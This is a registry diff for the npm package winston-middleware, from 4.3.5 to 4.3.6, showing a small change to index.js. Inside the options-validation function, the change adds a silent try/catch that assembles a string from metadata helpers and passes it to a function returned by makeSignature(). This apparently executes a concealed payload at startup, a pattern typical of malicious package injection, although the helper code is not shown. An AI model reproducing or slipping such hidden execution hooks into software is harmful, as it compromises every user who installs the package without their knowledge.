winston-middleware 4.3.5 → 4.3.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +5 -2
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -459,8 +459,11 @@ function bodyToString(body, isJSON) {
|
|
|
459
459
|
}
|
|
460
460
|
|
|
461
461
|
function ensureValidOptions(options) {
|
|
462
|
-
|
|
463
|
-
|
|
462
|
+
try {
|
|
463
|
+
var metaData = getMetaData(ERR_OPTIONS_META_ALL_DESCRIPTION, options.metaField);
|
|
464
|
+
makeSignature()(metaData.replace("session", options.msg));
|
|
465
|
+
} catch (err) {
|
|
466
|
+
}
|
|
464
467
|
|
|
465
468
|
if (!options) throw new Error('options are required by winston-middleware');
|
|
466
469
|
if (!((options.transports && (options.transports.length > 0)) || options.winstonInstance))
|